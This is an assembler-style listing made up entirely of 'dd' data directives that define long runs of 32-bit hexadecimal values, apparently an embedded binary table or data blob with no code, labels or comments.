dd 69C29E25h, 0D3785142h
dd 5927F494h, 27CAAF0Ch, 0DF7B52D0h, 0C4E4870Bh, 852F9664h
dd 265D5455h, 0BB547CD7h, 0F8414A1Ah, 4C15D351h, 0FA2642h
dd 2C0835Eh, 0B9A52597h, 0EC18ECB1h, 2FF57D01h, 202F5B67h
dd 5C0242ABh, 6059C36Ch, 77565C8Fh, 6B4BC12h, 73AD2D68h
dd 9BC17293h, 92696C49h, 0D965E78Ah, 8F29F25Dh, 0C916148Bh
dd 0BA32C651h, 16884EC6h, 0D2BB62C0h, 3600CE4h, 766A25B5h
dd 2D2C00CAh, 0C7A4EBFh, 2A5CB805h, 128926FBh, 0E9DA2902h
dd 3047769Ah, 80B4B267h, 6821C205h, 8F8C0EB7h, 0D7880953h
dd 0B35870E9h, 0CC69F49Ch, 144E4AFAh, 1B10E05Ch, 0E680C60h
dd 5B6A216Fh, 0C3B2504Fh, 5F7D49D2h, 5A683D90h, 17BCD599h
dd 104BF761h, 996E00C5h, 0DD76624Dh, 1195066h, 5029C180h
dd 0FCEC1BB0h, 0B2EAAB0Fh, 8E248204h, 0CFBF00E5h, 5692505Fh
dd 0E0690A07h, 59B0094Dh, 0DE78147h, 54756F96h, 579BEC0Eh
dd 491BE02Ch, 0F07F9902h, 267ECB5Fh, 733054D2h, 0D2A7828h
dd 3225C6B2h, 724099C2h, 2379F3E9h, 0BC2BF102h, 0F25E25ADh
dd 0C3400917h, 0EC06A3F3h, 0DA0CC27Bh, 0C8C12217h, 55B068ABh
dd 930D3D75h, 27FEC276h, 0B1229C68h, 28008214h, 4EEF80F7h
dd 2CA1CC0Ch, 0F875AA70h, 2BFA25E9h, 706E9A49h, 5166246Fh
dd 0C1CA0839h, 0BC5B03Eh, 0FAFA015Ah, 424FFBCh, 85AD233h
dd 5C0F30C4h, 901DCC1h, 1F840FC0h, 836597A7h, 573BFB91h
dd 8147B82Ch, 0B450C3FEh, 2841E81Ch, 83E6BBBCh, 4233660Ch
dd 0DD00631h, 72DB89C2h, 0B56B69F1h, 9425B3C4h, 96B69B3Ah
dd 0F7D0C855h, 1F983500h, 48014FDDh, 0EC2640C1h, 0A13CA544h
dd 7D17FE81h, 90128F81h, 714C0CDEh, 5F54BD6Fh, 2C91C3D0h
dd 0E34A53Dh, 59F8E176h, 0D8C1A82Ch, 2BCDF1h, 5052AD91h
dd 4B18A7B8h, 26C01C17h, 0E94F13DAh, 4A98837Dh, 0E29C0D8Dh
dd 5C8D11B4h, 10223230h, 511BC0E1h, 93D2A954h, 74920178h
dd 8C0B3A98h, 8B28FA68h, 0BDFF8087h, 7F623257h, 0B536138h
dd 205DEE31h, 7DB1F80Eh, 0DAD95996h, 0BB00FB19h, 880B4868h
dd 0F0A416F6h, 233D8C7Ch, 0DA06956Dh, 0C89C41B9h, 253E1205h
dd 0D2639359h, 2BEDF229h, 0D53BA53Dh, 4DE84792h, 40ED6B5Ah
dd 0E45EBBABh, 0D9214818h, 82835BA9h, 68075781h, 5110E73Fh
dd 552659BCh, 40093963h, 1B80670Bh, 604C5E71h, 21418FB0h
dd 0F2BC05E3h, 0E140EC28h, 40ED2293h, 0AA09BFA7h, 4A25765Fh
dd 5CADC07Ch, 0D1B3CE39h, 89CA9BE4h, 1F5FF854h, 587D1BCh
dd 80CE0411h, 7F141988h, 96F86101h, 0C17073AEh, 2546704Fh
dd 0CF5C5A3Ah, 1866F01Ch, 0F55C3390h, 30168BCFh, 306068C0h
dd 42A671B1h, 9DBA5200h, 2602F672h, 0BDE73FE9h, 4ECC9CAh
dd 4196C1E2h, 5C793F0Ah, 0DE152B22h, 0A21AAD37h, 0AB52EABFh
dd 0A01DC77Eh, 0EE81DC0Ch, 62D66724h, 0C6F9FEFDh, 0DDB80844h
dd 3771140Bh, 7EBED400h, 0CAA00F6Bh, 3018E4EEh, 8C0C1725h
dd 2A4D2018h, 0CDF7D105h, 2C12902h, 1B6D0FF9h, 19166C02h
dd 850315Ch, 2755AEFEh, 34F8E166h, 0EF7F896Fh, 0B210E35Fh
dd 30902C9h, 883129DAh, 8B2EFEB5h, 4D2C6BA6h, 0D1DA9BA5h
dd 3A362ECFh, 1350222h, 0B58471D6h, 82F39B12h, 93DF2348h
dd 1866F305h, 3E5B4D78h, 9C1CB51Ch, 1EE9C70Dh, 88F08EF1h
dd 687E251Dh, 2DB41F8Dh, 0A5267A0Eh, 0F69C96Fh, 9B5FB3C4h
dd 0A002D383h, 5CD2D24Eh, 38880528h, 0BC1A9458h, 627A40Bh
dd 0C61912F9h, 0BE00A1B1h, 501DA904h, 5B814723h, 0C029A76Ch
dd 3CF100B6h, 6872D96Fh, 0A553E126h, 40515662h, 79454h
dd 0EA8154CAh, 113E7906h, 2EB2A790h, 0D5058BEh, 0F7A9C052h
dd 6242074h, 66272396h, 7B82804Fh, 0ACE4B1F8h, 406B1557h
dd 466FBD1Ch, 0BBB187Dh, 0EB311A04h, 0A3F2215Dh, 2E95561h
dd 0D8872511h, 91B66E36h, 0E4F45047h, 275ADCFCh, 984E7529h
dd 144B5CEBh, 0D0818F88h, 592D6A26h, 5603D144h, 2A6A5168h
dd 0CBEDDA33h, 3D641231h, 5A808822h, 0F5685B09h, 0B07BC632h
dd 0B388D246h, 6C33202Ah, 5C0D0631h, 0C6BD18A1h, 14C38F04h
dd 0F60F1FB6h, 0B4CE95E1h, 8E58816h, 40A5D20Fh, 0B1115813h
dd 0F4F50D47h, 5076EEFFh, 6A30163Dh, 0B0F0B227h, 0F831FA5Fh
dd 0CD29165Dh, 7C71E459h, 0BFE575D2h, 788EBBD0h, 0C7294F08h
dd 5605D181h, 0F001F423h, 0BFFC57F8h, 9D5913DFh, 2DF5F82Dh
dd 41C80EB2h, 53529598h, 4E266805h, 3A00EC6h, 45C101A0h
dd 0E9DA89FCh, 53556422h, 0B90256B2h, 58217733h, 71068905h
dd 42C649B4h, 0F646812h, 0BB53F031h, 0F0020E93h, 0C6F8D8C6h
dd 215B580Ch, 29683BF0h, 0B9DF0314h, 0EDB4E0ACh, 0FE15608Ch
dd 0C91595A1h, 8B093B6Ah, 0BFBF795Fh, 0C01C810h, 0B6DF068h
dd 0DE1F586Fh, 0D7C24B2h, 94FAC84Bh, 0D0F2881Eh, 35794418h
dd 270E8D0Ch, 2E06D57h, 71DE0C1h, 186FE948h, 1334BA97h
dd 0C7E1540h, 16B20CBh, 165BF948h, 0F629D07Ah, 1E67666Ch
dd 50128C6h, 7B95F8Dh, 0DAD9A3E8h, 0B6D99E33h, 25F43E08h
dd 2E74A79Ah, 0CC4AB989h, 40B6B9CDh, 310CE8C1h, 297AC865h
dd 2C07B9B8h, 275A66C2h, 1791B253h, 3C27774h, 8CF65632h
dd 0AC0C10B5h, 10E9305Ch, 5E2D36B6h, 1CA6843h, 5F5BD9E8h
dd 0D0F7481Eh, 29E5D69Ah, 5F7908BEh, 5AC701AFh, 0FD365059h
dd 1558C113h, 0A2D13605h, 72F12986h, 0C2F93E20h, 673668E5h
dd 0B69E06E6h, 59E50BCEh, 43103C9Bh, 9C05A73h, 3E9B3AC3h
dd 0B3A723AAh, 805A8383h, 107AC1E4h, 0F00F28EFh, 90D8285Ah
dd 0B25226D6h, 59B008DFh, 8040B61Eh, 0B450F5C6h, 39E4EC73h
dd 68FC0C4h, 0E8DDDCF6h, 0C1AF4AADh, 288EBF5Ch, 0F729175Ah
dd 9382CB1Fh, 420B7E1Bh, 8AC8829h, 8DDBD99Fh, 0F657AB6Bh
dd 878B8044h, 0EB2880D2h, 969FC2B2h, 4E687CAAh, 0DF80CC57h
dd 13B5CB2h, 7A9797CAh, 71113727h, 22F663F4h, 8DE45859h
dd 0E4094525h, 156A01Bh, 8812D42Ch, 75347907h, 4E86B9C1h
dd 38A09B6Eh, 0A314B652h, 3782F388h, 0F25347FDh, 8F2440BAh
dd 0FCECE617h, 0E7883F53h, 0A1892B27h, 0FF440271h, 0C5D2C8C8h
dd 0C0D70141h, 1A6C33CFh, 0BFB705Dh, 466011E9h, 2E6292E5h
dd 0D1D829h, 6AE2748Ah, 5B4B2DE9h, 863D069Dh, 0A5B41ED3h
dd 6CB88980h, 4800BB2Bh, 22D6368h, 90295E49h, 91D059F3h
dd 7FE8B902h, 0EBC07B09h, 2527856Ah, 0D6EDE298h, 7E98930h
dd 0BE0470D0h, 2E627F28h, 404FB7F8h, 7D8EC5DCh, 0F5EC2DF0h
dd 260FF905h, 308089C7h, 0B05BD931h, 79CB4159h, 50BE041Dh
dd 0C1874D62h, 0CA0203CDh, 0BF0C7971h, 4124FBC8h, 0B6A4B026h
dd 127B2D57h, 884FF629h, 0DE678C49h, 506996F4h, 31C07574h
dd 2D2C53C7h, 0B6297634h, 0EA835011h, 0D2DE12BDh, 366509F7h
dd 0A8097641h, 620551A9h, 0B2D30107h, 0E50F5779h, 289B30EDh
dd 89BE98BAh, 443B0D6Dh, 0B201BD63h, 2D21D5E7h, 0F160291Ch
dd 0C839A95h, 1CA4B17Ch, 382D1A43h, 6B9FEB49h, 120268Dh
dd 0A10C7B34h, 122D6B29h, 7D96006Eh, 0D13EA74Bh, 0DAE9ED0Ch
dd 98E7873Fh, 8CD00ECh, 0EE814FD5h, 7B3B322Bh, 33CE003Ah
dd 0F7340351h, 491CC0DEh, 1CAA428h, 602FE9F2h, 0A581222Ch
dd 96D7717Fh, 0DFB256FEh, 81832024h, 0CA284271h, 493CD4Fh
dd 12ABB9BBh, 0FA1D7E9h, 0B8660634h, 49B74C33h, 0BEC68225h
dd 96EF8124h, 5FA7A46Bh
dd 0E2D0E332h, 0AAD14D8Bh, 0DA2F2546h, 3B3EB0E1h, 0EB38D14Fh
dd 0B77720CCh, 2EF80CDh, 0B151504Eh, 9D515339h, 9587662Ch
dd 0C51B4B1Ch, 806E2897h, 0BF895A0Fh, 5644EAEh, 3A578075h
dd 7C1E9C0Ah, 7A8E801h, 0B86149Fh, 22DD6855h, 694F0AB0h
dd 602252Fh, 7F0C6170h, 21D14C51h, 8CE9C80Bh, 949FD5F0h
dd 96DDFCDBh, 0A402F15h, 0DE0317C2h, 0D63109D8h, 0ECF09A5Ah
dd 59E916BFh, 691FF2B8h, 444F4A17h, 0DE132CEEh, 40256D7Fh
dd 181CD476h, 0FE017D17h, 487B078Ah, 0AB2403C6h, 296E0BFEh
dd 4EAD2860h, 0AF970082h, 0D0C84B7Fh, 9173F92Ch, 6BB251Ah
dd 54519E09h, 0B46A6659h, 0EC5C647Fh, 4C68E058h, 8156B12Fh
dd 1726BBFh, 0F781C447h, 0A63AED0Ch, 3FEA0C2Fh, 365DD25Eh
dd 3EBD373Fh, 1249DAA6h, 38398925h, 0FA0E9B07h, 5685D847h
dd 34170D50h, 0CD4189C9h, 3E122EC2h, 0E9B9B5D2h, 5520B4A7h
dd 20C590E5h, 0FA04B7Ch, 650F45B8h, 0ECC15D41h, 25030604h
dd 588022E9h, 1F57AEBBh, 10CE445Ch, 831659CFh, 367252EDh
dd 6500D463h, 0BD640608h, 49E0242h, 0E9D5010Eh, 4E67BC3Ch
dd 6AAE9929h, 6BB4279Dh, 20DE29C4h, 31D2B900h, 42B81A09h
dd 0F22EEE0Ch, 5760C15h, 2958807Fh, 0A3BEA4CFh, 0F2533560h
dd 76B06F4Eh, 94E2054Bh, 0C25D5430h, 5607DABEh, 7BD0F864h
dd 9C5C4168h, 38E9780Bh, 5934E165h, 564EF8BCh, 67C809CFh
dd 0D02DB9C1h, 7A752102h, 351E6C09h, 69442EF9h, 799339F1h
dd 10C48014h, 402DE203h, 0C57E201h, 4820C08h, 0E96EEC45h
dd 2019A151h, 0BBB61F54h, 17EBC52Fh, 0B1DAC018h, 0C13D8023h
dd 5BCE3B1Dh, 34E1A434h, 0A46943F0h, 10F11495h, 0AE108988h
dd 0DE011933h, 0BEE02B5Ch, 16F69873h, 6052D66h, 3C1B8E72h
dd 2F28519Bh, 9E6BED49h, 3075C009h, 5158595h, 0B6E93F35h
dd 0A2C9A80Eh, 0B5DFC8CFh, 0EA28246Ah, 0BD3173Fh, 5CCE5603h
dd 0D04FF7F6h, 2C68C888h, 0CB39382Bh, 71C4DA93h, 16A1EE01h
dd 3D528887h, 5D02907h, 3B700A20h, 14C3EC5Ah, 15359F40h
dd 5A775710h, 0CA51DA83h, 9070DA27h, 13BE5AFBh, 6AE4CDCAh
dd 42D38C49h, 0E97ED92Dh, 54B111C5h, 2D81727Bh, 6D1820EDh
dd 0F50661B3h, 6C0BE7E4h, 805DEB29h, 0D63D8B04h, 0FB010945h
dd 58805350h, 5B081758h, 4A53C095h, 0D728802Fh, 0EFC05A1Fh
dd 590865A4h, 68E8310Dh, 0A8122FC9h, 509F25A2h, 6C1050E3h
dd 3A8FED02h, 605EF201h, 3C368BA6h, 0D1A466B3h, 0F80820D3h
dd 0AF09B314h, 0D4053123h, 5DE8C513h, 1A0BEF4h, 89677673h
dd 0F3582047h, 9F0549B7h, 0F7FFD3DFh, 0D2CF81A8h, 4CD87824h
dd 0E9408h, 377B4235h, 0C54C0121h, 0CBE62A82h, 4A4E6B90h
dd 0F39708C5h, 0E94B3FE5h, 0D089075Bh, 6099C725h, 0A537173Fh
dd 3BC801DFh, 0D0010164h, 0DA2C396Fh, 1321ED67h, 82E98F1Eh
dd 4C85088h, 9811B568h, 7917CD9Ah, 680C5443h, 43EC25DDh
dd 20535849h, 0D9314C47h, 0F5E78101h, 0F358A419h, 0DE7B0F0Bh
dd 4682831Dh, 4EC7D4E9h, 0C7B2A52Eh, 0A327E3B9h, 7FB89000h
dd 357A7611h, 6658F12Dh, 93B594DAh, 0BE50E0BBh, 0DA9FE103h
dd 0E7F30171h, 0E6B7493Bh, 9080D470h, 0E50DA025h, 9A48393Eh
dd 526F2D79h, 0DF93C298h, 0A314ED7h, 533B59CEh, 0AC065CEh
dd 9297CBB9h, 8B6809F6h, 628216C2h, 0B1477A1Ch, 0E9090211h
dd 0BE90F0F6h, 0A905667Dh, 5DEE293Bh, 443212DDh, 50B52E12h
dd 0C56B617h, 1A82552Ch, 97F05B01h, 0C5437B2Ah, 0E6FA0BA2h
dd 1A522326h, 0F8E47F6Ah, 72252694h, 0EA344D22h, 0EAFBF435h
dd 9BE52DF4h, 25F16908h, 17628B71h, 0BC8CD9B7h, 9B6AAFACh
dd 0EA22CF58h, 0F8D65CC5h, 7D72F258h, 195530F2h, 3461C779h
dd 5E1F37E2h, 0D6895750h, 834B22C2h, 8601A0Ah, 0BB2423E1h
dd 8E2D246Fh, 2ED6283h, 53CE045h, 6AD56D87h, 0B8E9E808h
dd 8ABFA7C4h, 225B4C3h, 5302B472h, 0F9E03140h, 40F1E6C1h
dd 0CF66E9BEh, 28005BBAh, 8103CB01h, 24113FE3h, 22470DFAh
dd 518F81C7h, 0C5526528h, 0B3E830C4h, 0EB800E3Eh, 970B3766h
dd 0B0DCD242h, 3C6541DAh, 0CBD6C91Ch, 20C9AE6h, 0BB7CEBC1h
dd 0A50ABC2Ch, 0AA25DD90h, 0C0001974h, 0C176464Ch, 4A082CEAh
dd 4BC71FC1h, 56804D6Fh, 6BD0629Eh, 0D072E939h, 56412C60h
dd 0B514120h, 67835B9h, 0EB1FA602h, 0B801EEA9h, 0DA5B1B45h
dd 0BA013641h, 0A1151F14h, 13528753h, 0CDE9A589h, 8003068h
dd 0D9F658C1h, 37DE1C0h, 0E55D5335h, 5635B5ADh, 79E9A186h
dd 0DB30B556h, 0F4252E5h, 0DDF74DA3h, 133BF501h, 0BF40CE36h
dd 0E92C78AFh, 5D0265D1h, 83A5BE56h, 4C683387h, 4C69C84Bh
dd 82581674h, 0B9068642h, 27806002h, 650A008Ah, 0CE2941D7h
dd 5F9183E9h, 8F5CCF80h, 90E7C17Fh, 0BE65B7Ah, 1272BD2Bh
dd 192F30C8h, 6DD4F05Fh, 28610576h, 86C348FEh, 0C10D5B5Dh
dd 3ADEE90Ah, 0DE5EC913h, 5BB86C12h, 4976EB56h, 90D2F1EAh
dd 2AA2BA32h, 4213E004h, 0A3E176E9h, 94D2AF68h, 6FCC0CB4h
dd 0EB12C34Fh, 0F04700Dh, 0B2F2CCD2h, 8A3CB51Eh, 89960533h
dd 0B89A62E2h, 0E90625F9h, 77635A8Fh, 5314ED6h, 83C129A6h
dd 6B035913h, 588069F3h, 5BDEE973h, 9D92E821h, 51BD5Ah
dd 0FE2F3BC6h, 4BB53E8h, 6CC76D60h, 488804Bh, 0D81FCB81h
dd 0F701C361h, 613E9DBh, 0EFF55F81h, 20517A18h, 0C8E4640Bh
dd 5CC0E564h, 18C5018h, 0E94F7F39h, 9028E80h, 0C7847908h
dd 949839BBh, 450B712Eh, 5A7EE91Eh, 5738A133h, 0A733330h
dd 0F80942CDh, 1A5409F7h, 66D909A2h, 2119D79h, 0C7F1800Bh
dd 0B73E1984h, 72E7B8Ch, 45C90044h, 0C2642925h, 482945BBh
dd 62061CABh, 5AD542E6h, 8B25D078h, 0FA9B9461h, 70380B7Ch
dd 0B7005773h, 667232C5h, 0E160E916h, 7F68849Ch, 71989549h
dd 0B50D3D88h, 0B8C353Eh, 0E9089638h, 5D14168Dh, 74A00AFFh
dd 0E0B91EBh, 2CF8D11Eh, 4F211720h, 2356899Eh, 0AAB47D2Eh
dd 0B8504D70h, 1B72001Dh, 8DE7B932h, 0B1BCCDE4h, 0C124F726h
dd 0AF8C652Fh, 0C6FA8ECCh, 9721B9Ch, 629251ADh, 0C851B010h
dd 0C2315815h, 0AFFA16E9h, 43980912h, 43B40971h, 0C787F39h
dd 0A44DE103h, 41C7293Fh, 9B14081Ch, 84E43112h, 360360E7h
dd 0C6CF681Ah, 5FFB8900h, 0E95AD331h, 11AF4CC4h, 560656B4h
dd 0E924441Eh, 0A5EBEBAh, 17E313FDh, 5BBC2701h, 942F429Ah
dd 0A9081066h, 0E955FA02h, 2AFE2BB4h, 0ACD259C3h, 0E583349h
dd 0A780015Ch, 0F9E85BE2h, 382C3C68h, 1E6AC33h, 6846D5EDh
dd 0EEDEF139h, 52E7E874h, 0D44C5EE2h, 2706099h, 81023F0Dh
dd 0DD08C7F6h, 1E627Ah, 7BD4EE92h, 1E6160ABh, 0FFB39D5Bh
dd 152E91Ah, 7D43C145h, 0D0ADE554h, 439749DFh, 7CC9F9F9h
dd 9C8EC9C6h, 49812E4Eh, 8955F181h, 6036E90Dh, 3C4F091Dh
dd 2AA5591Ch, 0E2C0AD82h, 0B1EC88C3h, 0A6CE6821h, 0D9024F0Ch
dd 50227050h, 0E0E2E914h, 0A7D3CAA4h, 3AAEC588h, 0B90BC0B0h
dd 1E2464AFh, 0BE024E4Bh, 0F816FB6Ah, 2CAEDD57h, 0A5B40FCCh
dd 0B0237C29h, 0EAE2EB01h, 0A3BF36C8h, 143B6914h, 432209Dh
dd 0B7343068h, 96D3E940h, 1BA5A6B1h, 9973CF0h, 4204DB67h
dd 70B40ABh, 4EFB69BCh, 3B19A3ABh, 3916BECBh, 0F6F30088h
dd 3DF90C9Bh, 412E0CC1h, 0F94053C1h, 90B07458h, 266F2C52h
dd 0B45060E5h, 7812B10Eh
dd 0AA71E130h, 4A6584E9h, 9FB27945h, 73685680h, 0EAA1311Fh
dd 188828F5h, 4F0D3F7h, 0A0DF0106h, 891A0D05h, 3664D444h
dd 1415535Ch, 75072DD8h, 766011A2h, 129706C1h, 471AC163h
dd 0FCE82101h, 66C0EE8Ah, 98BB43BAh, 216B8CCh, 27C439ACh
dd 0C9D050E9h, 73285A5Ah, 0D0861EB0h, 0F0CDD4E8h, 0AFF7282Eh
dd 0D8D460C6h, 0B4EFE33Ah, 4E58BC65h, 0CA857C34h, 0E9C200E2h
dd 6D74096Bh, 7EF0CD44h, 45AE0AB8h, 12F74EE1h, 0E8769941h
dd 2AB1D4CEh, 29360762h, 3335523h, 71741B00h, 0F75921E4h
dd 0F9898D9h, 7F4A2FCAh, 0B954D00Fh, 0FF847604h, 4516AF85h
dd 0A9AD7EC4h, 34E684h, 0A0906BBFh, 4E4BF473h, 0E9B4D910h
dd 0A7C4571Ch, 0EFDB72F3h, 56DFC8E8h, 0F2409CFEh, 1DB02A68h
dd 0D01CDC58h, 9D84AC4h, 148B27D7h, 0CBA45Bh, 0A731B122h
dd 0CCFF815h, 3AC967EEh, 7A265C0Ch, 0F70178D1h, 683D0279h
dd 0CA070A60h, 5E10606h, 0C1B0BFFCh, 295FFE6Bh, 0D633339Ch
dd 0D066431h, 0D52B84E9h, 0C62CF2C8h, 7FFE7E9h, 0B151DFF6h
dd 0ADF3A3B9h, 895A1416h, 0F9215004h, 812EE5A1h, 8B95124h
dd 97C30481h, 0BE40B038h, 0C211D409h, 2F4B0ACAh, 0E945B8A5h
dd 0CDA0BDA3h, 3074B753h, 4016FD6Bh, 96C6213Bh, 0D6F750B9h
dd 403464Ch, 44B9A69Eh, 0CCBC2F84h, 33B8214Ah, 0A2403AACh
dd 2DBF5D5Fh, 5EBB925Ah, 0C123015Ch, 404E02EEh, 13BB58CBh
dd 46C4FE4Bh, 4FBACE00h, 5E315A53h, 282CCDFBh, 0AAE9C2C9h
dd 0CFFAAE31h, 0DF35045Dh, 9945748Ah, 135DDF2Bh, 0E9125456h
dd 845A184Ch, 5031728h, 0F50FC05Dh, 30017A7Dh, 0E902EFC1h
dd 7E365CDFh, 29BC2D79h, 32DA06BBh, 43ED458h, 28411E1Ch
dd 0E0FF743Bh, 622DE953h, 662B383Ch, 91BB4B0Fh, 1AB8C46h
dd 9FDD8058h, 16F1C1CCh, 0A059CB28h, 4C40438Ch, 66552A68h
dd 12B630EFh, 0E7DCC7EFh, 0A5BFED3Dh, 2F48C56Ah, 0C3800F21h
dd 73EBCC40h, 1075DBE1h, 5DDC6815h, 40B11B75h, 2E20277Dh
dd 13D25762h, 0D837B6B4h, 3F175ACBh, 1812B0EBh, 73C8F866h
dd 1189F05Bh, 0ABB6942Fh, 30C13574h, 0CF954F72h, 0B34B820Ah
dd 32348F51h, 4B4E0FCh, 94864CBh, 0A47D18BDh, 0DF3BCB51h
dd 11671402h, 0B18BE40Bh, 56556548h, 0C5E10021h, 11FA16Fh
dd 81604EDh, 2D24DD08h, 0EA3D1D60h, 4F3A6880h, 1F9E8C43h
dd 7D0B270Ch, 39D45C50h, 0B8020A11h, 69726BDFh, 484EABD8h
dd 6801DF1h, 35E0D107h, 6C050D43h, 1661E999h, 0C8A754BCh
dd 5C0C8742h, 931A6960h, 0C00A1E76h, 0D440D3AAh, 0B803BF53h
dd 9E565028h, 95C69AB5h, 0CF3CCE0Fh, 3B84CE88h, 554FBBB9h
dd 5BD9432Fh, 0C58FE7D0h, 5C35215h, 41FC636Fh, 0A094C288h
dd 0F040CB9Fh, 48E60968h, 0DE4B6150h, 2AA8D9Eh, 88BA4A40h
dd 305BFE09h, 0C27DF6F0h, 0CEE6DBC1h, 6607C8E0h, 53C33059h
dd 544787F2h, 0DE8F790Ah, 825B1F7Eh, 0EEC00907h, 6909CA81h
dd 8032306Ch, 293715B7h, 89415836h, 0D139EE59h, 725BCD0h
dd 31727059h, 0D32952CAh, 5FD63C1h, 0E2A7D2ACh, 25E65093h
dd 2B206498h, 68AD3DC0h, 0EEF63AA0h, 0C525A294h, 91EF902Ah
dd 8E734C81h, 0C5F2A9EEh, 345D1657h, 4E3BC8Ch, 0B1D9E952h
dd 0FA01AB99h, 0F5342EC4h, 830D00D8h, 404CF472h, 445EEE68h
dd 7D9D7030h, 0E9651C2Eh, 0FBFA0F4h, 18F806CAh, 1F12D377h
dd 23F20399h, 0BEFA66D3h, 0A1B979C8h, 417A67B8h, 76D0534Fh
dd 3D450BC3h, 20A534B3h, 3BD3EE09h, 6BCC5397h, 3D3B60B5h
dd 0B440C8EEh, 4434157Bh, 50B3DDFCh, 6802BCD4h, 7E6C3A25h
dd 0B8503654h, 93C53DDDh, 8C32D0Bh, 0E4581309h, 0A1850782h
dd 0C0DE2772h, 0C6146F5h, 4D1D2D76h, 8423459h, 571A5A2Bh
dd 7D5E7682h, 0F83026Ch, 535D5816h, 13423C01h, 3B386BC3h
dd 81DBF700h, 0A30C4BCBh, 68E91413h, 0B2FB91E1h, 1C567E78h
dd 70EF06BEh, 6900422Fh, 4F231D0Bh, 9CBD90E9h, 666861A3h
dd 0E88D3F30h, 515E1B92h, 5782AEAEh, 0CB7E2FE9h, 0C01A581Ah
dd 27516198h, 7470E3C1h, 43F93309h, 2DA4D699h, 1C8576E0h
dd 0BF40C35Ah, 10573FBCh, 657F14BAh, 0DE249B36h, 69B68033h
dd 8003EEC0h, 0FEBAE613h, 507B3004h, 0ADE634FEh, 0FEE982F6h
dd 606E5E44h, 21236D4Eh, 0C002CC98h, 68B4E3DDh, 8DC6F60Bh
dd 41311EB2h, 874159C1h, 47182350h, 2FDDF08Bh, 0FA4270E9h
dd 6AFCF880h, 0B0F608F9h, 0AC37089Fh, 2C4C6D00h, 0BDD7F773h
dd 0A8EB360Bh, 2641C1B4h, 0F0E1D862h, 89C6A71h, 0B7DFE403h
dd 58A800BCh, 0E936936Dh, 0FBB4BBF7h, 56AD6844h, 1815A64Ah
dd 0B826B32Eh, 0B9380150h, 5FF801D8h, 0AC5A6048h, 3EFA43CFh
dd 0E740E417h, 0C83B665Ch, 0B5A0CD9Ch, 6AD5D9D3h, 90CD5140h
dd 9075B262h, 29FC01AAh, 46E94D84h, 0E05E0338h, 305716F6h
dd 0EC0C67CAh, 6CF99A73h, 0AB2C9667h, 0BF418283h, 0F4DDA060h
dd 593B4D20h, 5180F055h, 0D7431668h, 20064E48h, 3ED966Ah
dd 27C9505Fh, 20774E1h, 903D45Bh, 34F13C65h, 68A460A7h
dd 37145E1Ah, 0FC77D028h, 0A825E907h, 4EA1C628h, 0D0F3F657h
dd 1AD72692h, 0FE2146CBh, 89F44B29h, 37623F5Bh, 0FF5409C6h
dd 69DCF542h, 0C0E2E389h, 1A4B86AFh, 144302C6h, 0ECFE9340h
dd 0E64B8B9Eh, 730CD63Ch, 618F789h, 4F75DDE9h, 7439081h
dd 21879AC5h, 2584E3F9h, 5E598F7Dh, 8D7910Fh, 2058B6E9h
dd 0C12D9C54h, 535E0CE9h, 4BBB58B9h, 0B09F568Dh, 0A640486Eh
dd 14B504BFh, 0AA897B79h, 0AFA1F905h, 0EB87F921h, 0B316903Bh
dd 3A519920h, 4BEB2280h, 0C0801234h, 0BCD0620h, 4D455D2Dh
dd 8B138B54h, 42C693C4h, 0F3D9004h, 0A5562D7h, 0A768ECE6h
dd 414918ECh, 82C99F0Ah, 0E434E460h, 611112F4h, 4F66CA26h
dd 2D612E53h, 30EB7EE9h, 77B8CB41h, 0D4C3B67h, 1A5E3A0Bh
dd 841C0413h, 0CB130250h, 598A762Bh, 295C4109h, 2A7A72FBh
dd 0BB06B982h, 2531599Bh, 43110174h, 0DD21F374h, 6C9F605Bh
dd 0CE9E4438h, 0D883FFE1h, 39FE5CFBh, 8CE9E815h, 85954099h
dd 625E791Eh, 16CEE3CDh, 0E2E76138h, 943C328h, 7526EE9Ch
dd 0B3533F1Ch, 0CADC8893h, 0C3800B42h, 96FD879Ch, 0B252E300h
dd 86FE622Eh, 0BFDAE062h, 5A287B03h, 0E07D3564h, 0D589319Ah
dd 824B7F6Eh, 1CE86168h, 5E78F229h, 0ED66EB20h, 0B5D4D639h
dd 69E9FEC1h, 3B672ED4h, 98B05DA5h, 0F3213C5Ch, 672D1112h
dd 0BE3A92FEh, 7FACA4Bh, 809DACD8h, 9C4F49F1h, 207B9065h
dd 524F1EE5h, 0CB3F738Dh, 91E500BCh, 0E963DE01h, 173660AEh
dd 664B13C2h, 49B94095h, 53BF1977h, 0CFD1EA83h, 266B0259h
dd 9F09CCB7h, 8886D1ACh, 0B6B02DF1h, 58FE76B5h, 0A9D3C4C5h
dd 0BD5D301Bh, 5CFB681Bh, 0A42C0638h, 55D65F5h, 0CD446029h
dd 13633E3Ah, 8057193Eh, 0D5FE96C6h, 2C5BD4EEh, 0F028940Eh
dd 0F85A8A04h, 0FC069B1Bh, 5FE91880h, 0BCFA445h, 2A7E3160h
dd 0E63D8A02h, 4C850105h, 25CB5E1Eh, 0D5B40449h, 80BB684h
dd 37C0E95Ah, 21343BEFh, 0A5BEBF68h, 0E970D9D9h, 3AC84DC9h
dd 0BC10575h, 0BF73858h, 0E17823B7h, 77912B84h, 63C04112h
dd 3C5A5452h, 8BDFEB68h, 42B5823h, 620D2272h, 8022BC9h
dd 0FE98EC58h, 625B5FDAh, 87C8FB00h, 0C797305Ch, 0A1D3272Dh
dd 922826A7h, 212FE330h, 0A38769h, 57EC805h, 0D02971FBh
dd 1707162Dh, 6884C062h
dd 9897222Ch, 0D3C762D5h, 801CC3Dh, 46DF2FC6h, 14C4B15h
dd 0FEE8B7C3h, 3C1AE5CFh, 0D859271Ah, 61568230h, 0DD5530F6h
dd 85B29017h, 94E0E9C5h, 77F6801Bh, 0F3A0C565h, 0D9A8B758h
dd 7013EBEAh, 0F6EC64FDh, 5A184A0Bh, 0AC9CDA88h, 82D0179h
dd 3B707E15h, 401AAD98h, 127581Bh, 6BC151D7h, 1ED4F162h
dd 2D0F46D2h, 0CFC56954h, 9D31AABEh, 97F7459Fh, 0B8194712h
dd 63B160EFh, 2A00F80Dh, 0BA527858h, 0AC3B73h, 93BD5516h
dd 0E913EE32h, 69589425h, 0C6C5ADEh, 30F766B1h, 7ABA1C15h
dd 64308F90h, 0EF3D507h, 42980F40h, 0CEA4DD89h, 2022CDB2h
dd 1F7772Bh, 363ED829h, 574F2365h, 8C5EE8E7h, 0DB2EE909h
dd 68C184FBh, 1A2C0DA8h, 1A5A5ECFh, 8480989Ah, 6CB823FEh
dd 0AED0E914h, 0C3F597DFh, 8013AE30h, 4EF0E6C1h, 0BF8999B8h
